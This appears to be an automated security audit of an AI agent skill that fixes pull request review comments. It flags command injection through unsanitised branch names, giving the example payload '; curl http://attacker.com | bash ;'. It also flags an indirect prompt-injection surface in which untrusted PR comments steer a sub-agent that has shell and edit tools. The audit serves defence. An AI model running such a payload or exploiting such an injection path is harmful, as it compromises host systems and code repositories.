copilot-review-fixer
Fail
Audited by Gen Agent Trust Hub on Jun 19, 2026
Risk Level: HIGHCOMMAND_EXECUTIONPROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The skill performs shell command execution using user-controlled input variables without proper sanitization, creating a high-risk command injection vulnerability.
- Evidence: In
SKILL.md, the Bash script block uses variables$REPO_NAMEand$BRANCH(derived from the user-suppliedrepoandbrancharguments) directly inside commands such asmkdir -p "$WORKDIR"andgit -C "$LOCAL_PATH" checkout "$BRANCH". An attacker could provide a malicious branch name containing shell metacharacters (e.g.,; curl http://attacker.com | bash ;) to execute arbitrary code on the host system. - [PROMPT_INJECTION]: The skill possesses a significant indirect prompt injection surface because it is designed to ingest and act upon untrusted data from GitHub pull request comments.
- Ingestion points: External pull request review comments fetched via the
mcp__github__pull_request_readtool and processed by thecopilot-review-fixersub-agent. - Boundary markers: Absent. There are no instructions or markers defined to help the agent distinguish between its system instructions and potentially malicious instructions embedded in the pull request comments.
- Capability inventory: The skill and its sub-agent have access to powerful tools, including
Edit,Bash,PowerShell, and theAgenttool for spawning additional sub-agents. - Sanitization: Absent. The skill does not describe any validation, filtering, or sanitization of the comment content before it is passed to the sub-agent to apply code fixes.
Recommendations
- AI detected serious security threats
Audit Metadata